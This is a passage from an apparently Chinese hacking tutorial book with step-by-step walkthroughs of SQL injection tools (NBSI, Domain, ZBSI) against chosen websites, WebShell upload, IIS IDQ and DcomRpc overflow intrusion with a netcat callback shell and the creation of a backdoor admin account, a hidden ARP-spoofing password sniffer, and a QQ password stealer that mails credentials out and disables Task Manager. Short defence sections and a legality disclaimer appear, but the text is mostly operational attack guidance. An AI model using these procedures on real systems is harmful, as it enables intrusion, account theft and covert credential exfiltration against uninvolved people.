步骤8：右键选择其中的任意一个登录入口地址，从快捷菜单中选择“用IE打开链接”菜单项，即可打开其链接网页，如图8-42所示。

图　8-42　“网站登录”页面

步骤9：在“网站登录”页面中输入登录的“用户名”和“密码”之后，单击【登录】按钮，即可找到后台并成功登录网站论坛，如图8-43所示。单击“注入检测”选项栏中的【浏览网页】按钮，即可打开“浏览网页”页面，用该按钮快速浏览网页，如图8-44所示。

图　8-43　成功登录网站的论坛

图　8-44　“浏览网页”页面

步骤10：单击“注入检测”栏目中【会员登录】按钮，即可进入“会员登录”页面，在“注入链接”地址栏中输入需登录网站的地址，在“用户名”和“密码”两个文本框中分别输入登录的用户名和密码，单击【登录】按钮，即能够以会员身份登录该网站，如图8-45所示。

图　8-45　“会员登录”页面

步骤11：若是新用户则需进行用户注册，在“会员登录”页面中单击【用户注册】选项按钮，即可进入“用户注册信息”页面，在其中填写相应的注册信息。单击【马上注册】按钮，即可注册成功，如图8-46所示。

图　8-46　“用户注册信息”页面

步骤12：在“相关工具”栏目中单击【目录查看】按钮，即可进入“目录查看”页面，在“注入连接”地址栏中输入要注入的网站地址。单击【检测】按钮，在“检测位置”栏目中选择要进行检测的目标磁盘。单击【开始检测】按钮，即可查看网站的物理目录（也只有MSSQL数据库才能查看），如图8-47所示。

图　8-47　“目录查看”页面

步骤13：在“相关工具”栏目中单击【CMD/上传】按钮，即可打开“CMD/上传”页面，只要用户拥有一个SA权限的数据库，就可以在这里执行CMD命令，或上传一些小的文件，比如一些脚本等操作，如图8-48所示。

图　8-48　“CMD/上传”页面

步骤14：也可在“相关工具”栏目中单击【注册表读取】按钮，打开“注册表读取”页面选择注册表的位置。单击【读取】按钮，即可读取注册表的键值来确定物理目录等信息，如图8-49所示。

图　8-49　“注册表读取”页面

步骤15：单击“设置选项”栏目中的【设置】按钮，即可进入“设置”页面，通过对SQL的管理入口、表段和字段等内容进行设置，可添加一些自己要检测的内容。因为有些需要猜解的表名或字段里面是没有的，只能通过这里来添加，如图8-50所示。

图　8-50　“设置”页面

第75招　NBSI注入工具

NBSI（NB，联盟，SQL，注入分析器）是一套高集成性Web安全检测系统，在ASP程序漏洞分析方面已远远超越了同类产品，特别是对于SQL Server的分析，具有极高的准确率。NBSI是网站漏洞检测工具，ASP注入漏洞检测工具，特别在SQL Server注入检测方面有极高的准确率。NBSI分为个人版和商业版两种，其中在个人版中限制了一些功能，可以检测出一般网站的漏洞，而商业版则完全没有限制，分析范围和准确率都有所提高。

在NBSI中可检测出网站中存在的注入漏洞，对其进行注入工具，具体的实现步骤如下。

步骤1：运行NBSI主程序，即可打开【NBSI操作】主窗口，如图8-51所示。

图　8-51　【NBSI】主窗口

步骤2：单击【网站扫描】按钮，即可进入【网站扫描】窗口，如图8-52所示。在“注入地址”中输入要入侵的网站地址之后，选择“快速扫描”单选项。

图　8-52　【网站扫描】窗口

步骤3：单击【扫描】按钮，即可对该网站进行扫描。如果在扫描过程中发现注入漏洞，漏洞地址及其注入性的高低将显示在“扫描结果”列表中，如图8-53所示。在“扫描结果”列表中单击要注入的网址，即可将其添加到“注入地址”文本框中，如图8-54所示。

图　8-53　扫描后的结果

图　8-54　添加要注入的网站地址

步骤4：单击【注入分析】按钮，即可进入【注入分析】窗口中，如图8-55所示。在其中勾选"post"复选框，可在“特征符”文本区域中输入相应的特征符。

图　8-55　【注入分析】窗口

步骤5：在设置完毕后，单击【检测】按钮，即可对该网址进行检测，其检测结果如图8-56所示。如果待检测完毕之后，“未检测到注入漏洞”单选项被选中，则该网址是不能被用来进行注入攻击的。

图　8-56　对选择的网站进行检测

提示　这里得到的是一个数字型+Access数据库的注入点，ASP+MSSQL型的注入方法与其一样，都可以在注入成功之后去读取数据库的信息。

步骤6：在“已猜解表名”栏目中单击【猜解表名】按钮，即可打开【SI提示信息】对话框，如图8-57所示。单击【确定】按钮，即可对选定的表单猜解。待猜解完毕之后，将会在“已猜解表名”文本框中显示出数据库的表名，如图8-58所示。

图　8-57　【SI提示信息】对话框

图　8-58　猜解出的数据表表名

步骤7：在选中要猜解的数据表后，单击【猜解列名】按钮，即可得到该表所包含列的相关信息，如图8-59所示。勾选要猜解列名前面的复选框，单击【猜解记录】按钮，即可得到该列中包含的详细信息，如图8-60所示。

图　8-59　猜解列名

图　8-60　猜解记录

步骤8：在【NBSI】主窗口中单击【扫描及工具】按钮，即可进入【扫描及工具】窗口，如图8-61所示。将扫描出来的“可能性较高”的网址复制到“扫描地址”文本框中，并勾选“由根目录开始扫描”复选框。

图　8-61　【扫描及工具】窗口

步骤9：单击【开始扫描】按钮，即可将可能存在的管理后台扫描出来，其结果会显示在“可能存在的管理后台”列表中，如图8-62所示。

图　8-62　扫描到的管理后台

在一般情况下，扫描出来的管理后台不止一个，此时可以选择默认管理页面，也可以逐个进行测试，利用破解出的用户名和密码进入其管理后台。

第76招　Domain注入工具

旁注WEB综合检测程序（Domain）是一款功能强大的SQL注入工具，集WHOIS查询、上传页面批量检测、Shell上传、数据库浏览及加密解密于一体，可以帮助用户方便地进行旁注检测、综合上传、SQL注入检测、数据库管理。而虚拟主机域名查询、二级域名查询、整合读取、修改Cookies等功能更方便初学者。

1.使用Domain实现注入

Domain主要包括旁注检测、综合上传、SQL注入检测、数据库管理、破解工具以及辅助工具等6个模块，其每个模块都有许多小功能组成，每个检测功能都采用多线程技术。

使用Domain实现注入的具体操作步骤如下。

步骤1：下载并解压Domain压缩文件，双击“Domain注入工具”应用程序图标，即可打开“Domain注入工具”主窗口，如图8-63所示。

图　8-63　“Domain注入工具”主窗口

步骤2：在“旁注检测”选项卡的“输入域名”文本框内输入需要注入的网站域名，单击右侧的按钮，即可检测出该网站域名所对应的IP地址。单击【查询】按钮，即可在窗口左下部分列表中列出相关的六个站点，如图8-64所示。

图　8-64　“旁注检测”页面

步骤3：选择右侧列表中的任意一个网址，单击【网页浏览】按钮，即可打开“网页浏览”页面，在页面最下方“注入点”列表中列出了所有刚才发现的注入点，如图8-65所示。

图　8-65　“网页浏览”页面

步骤4：单击【二级检测】按钮，即可进入“二级检测”页面，分别输入域名和网址后，即可查询二级域名以及检测整站目录，如图8-66所示。单击【网站批量检测】按钮，即可打开“网站批量检测”页面，在其中查看待检测的几个网址，如图8-67所示。

图　8-66　“二级检测”页面

图　8-67　“网站批量检测”页面

步骤5：单击【添加指定网址】按钮，即可打开【添加网址】对话框，在其中输入想要添加的网址。单击【OK】按钮，即可返回“网站批量检测”页面，如图8-68所示。

图　8-68　【添加网址】对话框

步骤6：单击页面最下方的【开始检测】按钮，即可成功地分析出该网站中所包含的页面，如图8-69所示。单击【保存结果】按钮，即可打开【Save As】对话框，在其中输入想要保存的名称。单击【Save】按钮，即可将分析结果保存至目标位置，如图8-70所示。

图　8-69　成功分析网站中所包含的页面

图　8-70　保存分析页面结果

步骤7：单击【功能设置】按钮，即可打开“功能设置”页面，在其中对浏览网页时的个别选项进行设置，如图8-71所示。

图　8-71　“功能设置”页面

步骤8：在“SQL注入”选项卡中单击【扫描注入点】按钮，即可打开“扫描注入点”标签页，单击【载入查询网址】按钮，即可在“扫描注入点”下方列表中显示关联的网站地址。再选中与前面设置相同的网站地址之后，单击右侧的【批量分析注入点】按钮，即可在“注入点”列表中显示检测到的并可注入的所有注入点，如图8-72所示。

图　8-72　“扫描注入点”标签页

步骤9：单击【SQL注入猜解检测】按钮，即可打开“SQL注入猜解检测”页面，在“注入点”地址栏中输入上面检测到的任意一个注入点，如图8-73所示。

图　8-73　“SQL注入猜解检测”页面

步骤10：单击【开始检测】按钮，并在“数据库”列表下方单击【猜解表名】按钮，在“列名”列表下方单击【猜解列名】按钮；在“检测结果”列表下方单击【猜解内容】按钮，即可在检测信息列表中看到SQL注入猜解检测的所有信息，如图8-74所示。

图　8-74　SQL注入猜解检测的所有信息

2.使用Domain扫描管理后台

使用Domain扫描管理后台的方法很简单，具体的操作步骤如下。

步骤1：在“Domain注入工具”主窗口中选择“SQL注入”选项卡，单击【管理入口扫描】按钮，即可进入“管理入口扫描”标签页，如图8-75所示。

图　8-75　“管理入口扫描”标签页

步骤2：在“注入点”地址栏中输入前面扫描到的注入地址，并根据需要选择“从当前目录开始扫描”单选项，单击【扫描后台地址】按钮，即可开始扫描并在下方的列表中显示所有扫描到的后台地址，如图8-76所示。

图　8-76　扫描后台地址

步骤3：单击【检测设置区】按钮，即可打开“检测设置区”页面，在其中可看到“设置表名”、“设置字段”和“后台地址”三个列表的详细内容。

步骤4：通过单击【添加】按钮和【删除】按钮，可以分别对三个列表的内容进行相应的操作，如图8-77所示。

图　8-77　“检测设置区”页面

3.使用Domain上传WebShell

使用Domain上传WebShell的方法很简单，具体的操作步骤如下。

步骤1：在“Domain注入工具”主窗口中选择“综合上传”选项卡，根据需要选择上传的类型（这里选择类型为：动网上传漏洞）。

步骤2：在“基本设置”栏目中填写检测出的任意一个漏洞页面地址，选择“默认网页木马”单选项，在“文件名”和"Cookies"文本框中输入相应内容，单击【上传】按钮，即可在“返回信息”栏目中看到需上传的WebShell地址，如图8-78所示。

图　8-78　上传WebShell地址

步骤3：单击【打开】按钮，即可根据上传的WebShell地址打开对应的页面。

第77招　PHP注入利器ZBSI

ZBSI是一款PHP（Hypertext Preprocessor，超文本预处理器）注入辅助利用，可运行在Windows 2000\XP\2003上。使用该工具可检测PHP网站中是否存在注入漏洞和字段数目，还可将其作为一个浏览器来打开指定的网页。

使用ZBSI检测注入点的具体操作步骤如下。

步骤1：在百度搜索引擎中搜索网址中含有"php?id="字符的网页，其显示结果如图8-79所示。

图　8-79　搜索网址中含有"php？id="的网址

步骤2：下载并运行ZBSIV1.0，运行其中的“ZBSI V1.0PHP注入工具.exe”，即可打开【ZBSI V1.0“PHP注入工具”】主窗口，如图8-80所示。

图　8-80　【ZBSI V1.0“PHP注入工具”】主窗口

步骤3：在“注入地址”文本框中输入搜索到的网址，单击【检测注入】按钮，即可对其检测。待检测完毕后，将会显示该网站是否可以进行PHP注入，如图8-81所示。

图　8-81　对网站进行注入检测

步骤4：在ZBSI中还可以对得到的字段数目进行检测，单击【字段数目】按钮，即可看到【猜解得到的字段数目】对话框，如图8-82所示。单击【确定】按钮，即可在【ZBSI V1.0“PHP注入工具”】主窗口中看到含有猜解到字段的网址，如图8-83所示。

图　8-82　【猜解得到的字段数目】对话框

图　8-83　得到含有猜解到字段的网址

步骤5：ZBSI还附带有浏览器功能，在【ZBSI V1.0“PHP注入工具”】主窗口的“网站地址”文本框中输入要浏览的网页地址后，单击【浏览】按钮，即可浏览相应的网页，如图8-84所示。

图　8-84　在ZBSI中浏览网页

在各种黑客横行时，如何实现自己PHP代码安全，并保证程序和服务器的安全，是一个很重要的问题。在编写PHP代码时，对变量进行初始化和过滤，可以有效防御PHP注入。

第78招　IDQ溢出攻击

Microsoft公司的IIS在缺省安装情况下带了一个索引服务器（Index Server，在Windows 2000系统中名为Index Service）。在缺省安装时，IIS支持两种脚本映射：管理脚本（.ida文件）和Internet数据查询脚本（.idq文件）。这两种脚本都由一个ISAPI扩展idq.dll来处理和解释。由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区，如果攻击者提供一个特殊格式的URL，就可能引发一个缓冲区溢出。通过精心构造发送数据，攻击者可改变程序执行流程，执行任意代码。成功地利用这个漏洞，攻击者可以远程获取"Local System"权限。

1.入侵IDQ漏洞

IDQ漏洞是先前发现的众多漏洞中的一种。然而入侵IDQ漏洞需要先准备Snake IIS溢出工具、X-Scan扫描器和NC.exe三个工具。具体的入侵过程如下。

步骤1：先使用X-Scan扫描器对某个IP地址段进行扫描，找出具有IDQ漏洞的计算机。

步骤2：运行Snake IIS溢出工具，在其中输入被攻击主机的IP地址、选择对方主机的系统类型，并设置一个监听的端口号，默认为813，如图8-85所示。

图　8-85　设置攻击选项

步骤3：单击【IDQ溢出】按钮，若连接成功则显示如图8-86所示的提示信息。如果不成功，则将提示不能连接主机，如图8-87所示。此时打开“命令提示符”窗口，使用Telnet命令即可进入对方主机，如图8-88所示。

图　8-86　连接成功

图　8-87　连接失败提示

图　8-88　“命令提示符”窗口

步骤4：用户还可先使用nc.exe在本地主机中打开一个监听端口，如图8-89所示。在溢出工具中选取“溢出后，主动连接到IP/Port”单选项，在“要绑定的命令”文本框中输入"cmd.exe/c dir C:\"，如图8-90所示。

图　8-89　打开并监听端口

步骤5：单击【IDQ溢出】按钮，则提示发送shellcode成功，并在本地主机的“命令提示符”窗口中自动显示被攻击主机C盘根目录内容，如图8-91所示。

图　8-90　设置溢出选项

图　8-91　本地主机的“命令提示符”窗口

步骤6：在连接成功后，就可以使用"net user"命令在对方主机中创建一个属于自己的用户账号，还可使用"net localgroup"命令将新建的账号升级为管理员权限。

提示　如果溢出工具不能成功连接，可以选择另一个SP补丁系统再次尝试。若还不能成功连接，则更换目标主机。

2.防范IDQ入侵

对于存在IDQ漏洞的主机，其防御措施有如下两条：

删除.ida/.idq ISAPI脚本映射。

及时下载Microsoft公司的系统补丁并安装。补丁可能因具体硬件不同而不同，所以用户需要向原设备制造商索取。

每种方法用不同的工具组合，都会产生不同的效果。所以成功之余也要多实验练习，才能举一反三。不过切记：在不违法的情况下练习才行。

第79招　DcomRpc溢出工具

DcomRpc漏洞往往是利用溢出工具来完成入侵的，其实“溢出”入侵在一定程度上也可看成系统内的“间谍程序”，它对黑客们的入侵一呼即应，一应即将所有权限拱手送人。

1.DcomRpc漏洞描述

RPC（Remote Procedure Call）服务作为操作系统中一个重要服务，其描述为“提供终结点映射程序（endpoint mapper）以及其他RPC服务”。系统大多数功能和服务都依赖于它。

启动RPC服务的具体操作方法如下。

步骤1：选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开“管理工具”窗口，如图8-92所示。

图　8-92　“管理工具”窗口

步骤2：双击“服务”图标，即可打开“服务”窗口，如图8-93所示。双击"Remote Procedure Call"服务项，即可弹出【Remote Procedure Call（RPC）属性】对话框。选择“依存关系”选项卡，即可查看一些服务的依赖关系，如图8-94所示。

图　8-93　“服务”窗口

图　8-94　RPC属性对话框

从显示服务可以看出受其影响的程序有很多，其中包括了DCOM（Distributed Component Object Model，分布式COM）接口服务。这个接口用于处理由客户端机器发送给服务器的DCOM对象激活请求（如UNC路径）。攻击者成功地利用此漏洞可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作，如安装程序、查看或更改、删除数据或建立系统管理员权限的账户。

DCOM协议的前身是OSF RPC协议，但增加了微软自己的一些扩展。扩展了组件对象模型技术（COM），使其能够支持在局域网、广域网甚至Internet上不同计算机的对象之间的通信。

若想对DCOM进行相应的配置，具体的操作步骤如下。

步骤1：在【运行】对话框“运行”栏中输入"Dcomcnfg"命令，即可弹出“组件服务”窗口，如图8-95所示。

图　8-95　“组件服务”窗口

步骤2：单击“组件服务”前面的“+”号，依次展开各项，直到出现“DCOM配置”子菜单项为止，即可根据需要对DCOM中各对象进行相关配置，如图8-96所示。

图　8-96　DCOM配置

因为DCOM可以远程操作其他计算机中的DCOM程序，而使用了用于调用其他计算机所具有的函数的RPC（远程过程调用），所以利用这个漏洞，攻击者只需发送特殊形式的请求到远程计算机上的135端口，轻则造成拒绝服务攻击，严重地甚至于远程攻击者能以本地管理员权限执行任何操作。

2.DcomRpc入侵实战

目前已知的DcomRpc接口漏洞有MS03-026（DcomRpc接口堆栈缓冲区溢出漏洞）、MS03-039（堆溢出漏洞）和一个RPC包长度域造成的堆溢出漏洞和另外几个拒绝服务漏洞。

要利用这个漏洞，可以发送畸形请求给远程服务器监听的特定DcomRpc端口，如135、139、445等任何配置了RPC端口的机器。在进行DcomRpc漏洞溢出攻击前，用户需下载DcomRpc.xpn作为X-scan插件，复制到X-scan所在文件夹的Plugin文件夹中，扩展X-scan的扫描DcomRPC漏洞的功能，也可下载rpcdcom.exe专用DcomRPC漏洞扫描工具，扫描具有DcomRPC漏洞的目标主机，使用网上诸多的DcomRpc溢出工具进行攻击。

下面以DcomRpc接口漏洞溢出为例讲述溢出的方法，具体的操作方法如下。

步骤1：将下载好的DcomRpc.xpn插件复制到X-scan的Plugin文件夹中，作为X-Scan插件，如图8-97所示。

图　8-97　Plugin文件夹

步骤2：运行X-scan扫描工具，选择“设置”→“扫描参数”菜单项，即可弹出【扫描参数】对话框。选择“全局设置”→“扫描模块”选项，即可看到增加的“DcomRpc溢出漏洞”模块，如图8-98所示。

图　8-98　【扫描参数】对话框

步骤3：在使用X-Scan扫描到具有DcomRpc接口漏洞的主机时，可以看到在X-Scan中有明显的提示信息。如果使用RpcDcom.exe专用DcomRPC溢出漏洞扫描工具，则可先打开“命令提示符”窗口，进入RpcDcom.exe所在文件夹，执行“RpcDcom-d IP地址”命令后，开始扫描并看到最终的扫描结果，如图8-99所示。

图　8-99　扫描DcomRpc溢出漏洞

如果操作成功，则执行溢出操作将立即得到了被入侵主机的系统管理员权限。

3.DcomRpc防范方法

既然系统中存在着这么一个“功能强大”的间谍漏洞DcomRpc。就不得不对这个漏洞的防范加以重视了，下面推荐四种防范方法。

1）打好补丁。对于任何漏洞来说，打补丁是最方便的方法了，因为一个补丁的推出往往包含了专家们对相应漏洞的彻底研究，所以打补丁也是最有效的方法之一。下载补丁应尽可能地在服务厂商的网站中下载；打补丁的时候务必要注意补丁相应的系统版本。

2）封锁135端口。135端口非常危险，但却是难以了解其用途、无法感受到其危险性的代表性端口之一。但实际上，2002年7月能够让人们认识到其危险性的工具就已经亮相了，这就是"IE、en"。该工具是由提供安全相关技术信息和工具类软件的"SecurityFriday.com"公司提供的。以简单明了的形式验证了135端口的危险性，呼吁用户加强安全设置。不过，由于该工具的特征代码追加到了病毒定义库文件中，如果在安装了该公司的病毒扫描软件的计算机中安装IE、en，就有可能将其视为病毒。

3）关闭RPC服务。关闭RPC服务也是防范DcomRpc漏洞攻击的方法之一，而且效果非常彻底。具体方法为：选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口。双击“服务”图标，即可打开【服务】窗口。双击打开"Remote Procedure Call"属性窗口，在属性窗口中将启动类型设置为“已禁用”，这样自下次启动开始RPC就将不再启动。

要想将其设置为有效，需在注册表编辑器中将"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs"的"Start"的值由0X04变成0X02后，重新启动机器即可。

但进行这种设置后，将会给Windows运行带来很大影响。如Windows XP Professional，从登录到显示桌面，要等待相当长的时间。这是因为Windows的很多服务都依赖于RPC，而这些服务在将RPC设置为无效后将无法正常启动。由于这样做弊端非常大，因此一般来说，不能关闭RPC服务。

4）手动为计算机启用（或禁用）DCOM。除上述方法外，还可通过如下不同方法对Windows 2000和Windows XP/2003进行手动式的DCOM服务禁用。

这里以Windows XP为例，具体的操作步骤如下。

步骤1：在【运行】对话框的在“运行栏”中输入"Dcomcnfg"命令，即可弹出“组件服务”窗口，如图8-100所示。依次选择“控制台根目录”→“组件服务”→“计算机”→“我的电脑”选项，即可进入“我的电脑”子文件夹。

图　8-100　“组件服务”窗口

步骤2：若对于本地计算机，则需要右击“我的电脑”子文件夹，从快捷菜单中选择“属性”菜单项，即可弹出【我的电脑属性】对话框。选择“默认属性”选项卡，取消勾选“在此计算机上启用分布式COM”选项卡的复选框，如图8-101所示。

图　8-101　【我的电脑属性】对话框

步骤3：若对于远程计算机，则需要右击“计算机”文件夹，从快捷菜单中选择“新建”→“计算机”子菜单项，即可弹出【添加计算机】对话框，如图8-102所示。

图　8-102　新建计算机

步骤4：在【添加计算机】对话框中输入计算机名称或单击右侧的【浏览】按钮，即可搜索计算机，如图8-103所示。也可使用查找功能来查找远程计算机的名称。

图　8-103　【添加计算机】对话框

步骤5：在添加计算机后，在计算机名称列表中右击该计算机名称，从快捷菜单中选择“属性”菜单项，在打开的属性窗口的“默认属性”选项卡设置界面中清除“在这台计算机上启用分布式COM”复选框之后，单击【确定】按钮，即可以更改设置并退出。

第9章
账号盗取与安全防范

重点提示

♂用密码监听器揪出内鬼

♂用“防盗专家”为QQ保驾护航

♂在线破解QQ号码

♂疯狂盗号的“QQ机器人”

♂QQ登录号码修改专家

♂MSN密码查看帮凶MessenPass

♂联众密码也需小心

♂防范“传奇密码邮差”

本章精粹：

本章主要揭露了黑客用于盗号的一些武器，主要包括：密码监听器、QQ掠夺者、QQ破密使者、QQ机器人以及QQ登录号码修改专家等，有助于读者很快看清各种诡异诈术的真相，提前做好安全防范措施。

盗取别人的账号和密码是非常不道德的行为，本章涉及的一些黑客工具只为让读者了解黑客是如何盗取别人的账号和密码，或使用这些工具找回自己丢失的号码，从而达到有效地保护自己号码安全的效果。

第80招　用密码监听器揪出内鬼

密码监听器用于监听基于网页的邮箱密码、POP3收信密码、FPT登录密码、网络游戏密码等。在某台电脑上运行该软件，可以监听局域网中任意一台电脑登录网页邮箱、使用POP3收信、FPT登录等的用户名和密码，并对密码进行显示、保存或发送到用户指定的邮箱。

1.“密码监听器”盗号披露

使用“密码监听器”的具体操作步骤如下。

步骤1：下载并解压“密码监听器”压缩文件，双击文件夹中的"pswmonitor.exe"应用程序图标，即可弹出“密码监听器”主窗口，如图9-1所示。

图　9-1　“密码监听器”主窗口

步骤2：选择“发送与保存”选项卡，在“发送参数”和“接收参数”选项中设置好邮箱以及密码信息，如图9-2所示。单击【测试】按钮，如果输入正确则会弹出一个提示文本框“测试邮件发送成功”。

图　9-2　“发送与保存”选项卡

步骤3：为防止其他人对该软件进行设置和更改，还可自己设置一个查看密码。选择“密码保护”选项卡，分别在“新密码”和“确认密码”文本框中输入密码，如图9-3所示。单击【应用】按钮，即可弹出【请输入密码】对话框，在以后进行操作时只有正确地输入密码才行，如图9-4所示。

图　9-3　“密码保护”选项卡

图　9-4　【请输入密码】对话框

步骤4：为操作方便，还可设置热键。选择“其他”选项卡，在“显示/隐藏界面热键设置”选项中设置一个热键，最好不要使用软件的默认设置，如图9-5所示。在“启动参数设置”选项中勾选“启动时隐藏界面”和“系统启动时自动启动”复选框，单击【应用】按钮。也可单击【在线更新过滤器】按钮，在线更新该程序监听使用的过滤器，以监听到更多密码。

图　9-5　“其他”选项卡

步骤5：在设置好之后，选择“适配器”选项卡，根据需要选择要监听的网络适配器，如拨号网络适配器、网卡等，以适应不同上网方式，如图9-6所示。如果选择一个适配器后监听不到密码，可以尝试选择其他适配器。

图　9-6　“正在监听”选项卡

步骤6：对于局域网中的计算机，如果不能监听到其他计算机上的密码，也可以勾选“ARP欺骗监听局域网”选项。单击【隐藏】按钮，就可以监听密码了。

注意　对于指定IP地址范围的ARP欺骗，应尽量缩小ARP欺骗的IP地址范围，以降低ARP欺骗对网络的影响。

由于设置了隐藏软件界面，一切都是在隐蔽处进行的，通常不会被发现，但一定要记住自己设置的热键，否则，自己也无法打开软件来查看密码了。

2.找出“卧底”拒绝监听

对于这种防不胜防的局域网内部密码监听，可以采用如下方法进行防范：

安装杀毒软件，并及时升级到最新版本。

如果已经被监听了，则需要找到安装“密码监听器”的机器，对其注册表进行修改。

第81招　用“QQ掠夺者”盗取QQ密码

“QQ掠夺者”是常用的盗取QQ号码工具，不但可神不知鬼不觉地截获QQ账号密码，还可在本机查询并将获得的账号和密码，悄悄发送到用户所指定邮箱中，并在本地计算机上保存获取结果，以供远程接叫或从本地查询（需输入设置好的密码，才能调出结果查看）。

QQ掠夺者还有智能判断能力，对已被获取账号和密码的QQ将不会重复获取；若没有获取或没有获取成功的QQ，将不知疲倦地不断去获取该账号和密码，直到成功获取。

1.QQ盗号曝光

黑客盗取QQ的具体操作步骤如下。

步骤1：退出正在运行的QQ。下载并安装QQ掠夺者之后将自动运行，正确设置各选项之后，每次开机都将自动载入。

步骤2：在如图9-7所示的“QQ掠夺者”主窗口中，如果要远程邮箱接收获取的账号密码，则需要勾选“远程邮箱接收”复选框，才可进行其中的各项设置。

图　9-7　“QQ掠夺者”主窗口

步骤3：勾选“远程邮箱接收”复选框之后，只要在邮箱地址栏中输入正确的邮箱地址，即可自动填充用户名、SMTP邮件服务器地址，并在“密码”栏中输入邮箱密码。

步骤4：在设置好上述各项参数之后，单击【测试远程接收设置】按钮，即可进行测试。如果测试通过，则说明所有设置正确，此时，获取的账号和密码将会自动发送到所设置邮箱中，如图9-8所示。如果没有通过测试，则可能是开始设置的密码或邮箱地址不正确。如果确定密码和邮箱地址无误，则可能系统自动设置的用户名和SMTP邮件服务器地址不正确（这种情况很少），如果能确定用户名、SMTP邮件服务器地址，也可手动设置后再进行测试。

图　9-8　测试通过提示

步骤5：设置管理密码就是设置调用参数设置窗口的密码之后，按"Ctrl+Alt+F6"组合键再次调用窗口时，将提示用户必须输入密码。

步骤6：勾选“禁用任务管理器”复选框，再按"Ctrl+Alt+F6"组合键，将禁止使用Windows任务管理器，保护软件非法中断。如果对邮箱地址作了修改，则在单击【保存】按钮前一定要先进行测试，调出\隐藏主窗口的快捷键是"Ctrl+Alt+F6"。

步骤7：在完成设置之后，如果在这台机器上登录QQ，则对应的密码将被记录下来，此时只需单击【本地查看掠夺品】按钮，就可以进行查看并收取密码了。

这样，只要用户在安装有该软件的机器上登录了QQ，其账号和密码就相当于拱手送人了。没有登录过的QQ会显示为“还没送上门，别急！”。

2.防范QQ掠夺者

如果想将此软件在本机上删除，则可选择【开始】→【所有程序】→【QQ掠夺者】→【卸载】菜单项，或运行C:\QQspo文件夹中的Unwise.exe卸载软件。当然，在进行卸载时也要进行密码身份验证，如果不是软件安装的主人，将无法卸载。对于在公共场所上网的QQ用户应该特别注意被这种方法盗取QQ，如果条件允许，最好是先用杀毒软件对计算机进行杀毒之后再进行登录。同时，也不要轻易接收QQ好友发过来的文件，说不定就是一个盗取QQ的软件，一旦运行了，QQ也就没有任何安全性可言了。

第82招　用“防盗专家”为QQ保驾护航

前面介绍了黑客经常使用的一些盗取QQ密码的“武器”，并给出了具体的防范方法，这里再介绍一款防盗“专家”：QQ密码防盗专家，让用户进行QQ聊天从此无忧。

1.关闭广告和取回QQ密码

从网站下载后，双击qqpc2005.exe程序，指定安装路径，即可将QQ密码防盗专家程序安装到系统中，进入QQ密码防盗专家的安装文件夹。双击qqpc.exe程序，即可进入其操作界面，如图9-9所示。

图　9-9　QQ密码防盗专家界面

1）关闭广告。如果想使QQ中的无线QQ使用向导、腾讯QQ系统广播、腾讯Flash动画、QQ发送信息中的动画广告不再出现，可在QQ密码防盗专家界面中选择【主窗体】按钮，然后同时选取“自动关闭QQ中的[无线QQ使用向导]广告”、“自动关闭QQ中的[腾讯QQ系统广播]广告”、“自动关闭QQ中的[腾讯Flash动画]广告”、“自动关闭[发送消息]中的[动画广告]”复选框，如图9-10所示。同时，用户还可以选取“后台自动关闭IE浏览器弹出的广告窗口”复选框，来阻止IE浏览器中的弹出式广告。

图　9-10　关闭广告

2）取回密码。在QQ密码防盗专家界面中单击【取回密码】按钮，即可使用不同的方式来取回自己遗忘的QQ密码，如图9-11所示。该功能只作为忘记密码时取回使用，但为了防止他人随意取回密码，它取回的密码中前两位数均用“*”号代替，且没有注册的用户只能找回最后一次上线的QQ用户及密码。只有注册用户才能享受本机任意密码的取回功能。

图　9-11　取回密码界面

如单击【所有密码】按钮，则可先输入注册QQ密码防盗专家的用户名和注册码。单击【取回】按钮，即可得到在本机中登录过的所有QQ密码，如图9-12所示。

图　9-12　取回所有密码

如果QQ密码已被别人窃取，则可单击【邮箱取回】按钮，通过该功能可以找回自己被盗走的QQ密码，而且距离被盗的时间越短越容易找回，如图9-13所示。

图　9-13　设置邮箱取回功能

提示　在“取回密码”窗口中，还可以通过选取“禁止使用‘文件下载’”、“禁止使用‘注册表’”、“实时监控禁止用户删除任何文件及文件夹”复选框来启动相应功能。

2.内核修改和病毒查杀

为了防止最新盗密软件对QQ界面中的（回车键）及（鼠标按键）进行记录来取得QQ密码，用户可以在QQ密码防盗专家原有的防盗方式上设定快捷键来进行登录，因为是用户随机设定的功能键进行登录，因此可以绕过盗密软件对（回车键）及（鼠标按键）的检测。用法是在完成密码输入之后，再按快捷键，而不要按回车键或单击鼠标。这就是“内核修改”功能。在QQ密码防盗专家界面中单击【内核修改】按钮，即可通过内核修改功能来防止QQ密码被盗，如图9-14所示。

图　9-14　使用内核修改功能

可以选取“每次启动后隐藏主窗口（可用Ctrl+F6快捷键）”复选框来隐藏启动后的QQ密码防盗专家窗口；选取“修改QQ界面系统内核（可起到全面防盗作用，推荐）”复选框，并设置快捷键来登录QQ，从而起到防盗的作用。

选取“当用户按下快捷键登录时，先隐藏QQ密码框2秒钟”复选框，还可以增强QQ密码防盗的功能。若选取“去掉QQ浏览器并还原成IE浏览器方式打开网页”复选框，则可默认使用IE打开网页，而不使用腾讯公司的TM浏览器。

在QQ密码防盗专家界面中，单击【QQ病毒专杀】按钮，在显示的菜单中选择一种杀毒方式，如图9-15所示。选取“免费杀毒（免费版）”菜单项，则进入病毒查杀窗口，如图9-16所示。单击【绝对查杀（推荐使用）】按钮，则显示更多病毒查杀功能，如图9-17所示。在这里用户可以实现系统进程管理、注册表管理、设置防火墙、扫描端口、修复系统漏洞、查杀系统木马和病毒等多种功能。

图　9-15　选择杀毒方式

图　9-16　病毒查杀窗口

图　9-17　更多病毒查杀功能

3.用无敌外挂实现QQ防盗

使用QQ无敌外挂模式可以不在QQ用户登录界面中输入密码，只在QQ密码防盗专家中输入QQ密码即可实现自行登录，这时QQ的登录过程是在内存中进行的，而QQ密码框中的密码实际上是假密码，则无论什么QQ盗密软件都无法盗取用户的QQ密码了。

具体使用的操作步骤如下。

步骤1：在QQ密码防盗专家界面中单击【无敌外挂】按钮，即可弹出一个如图9-18所示窗口。单击【第1步（输入）】按钮，在其中输入自己的QQ号码和登录密码。

图　9-18　设置无敌外挂

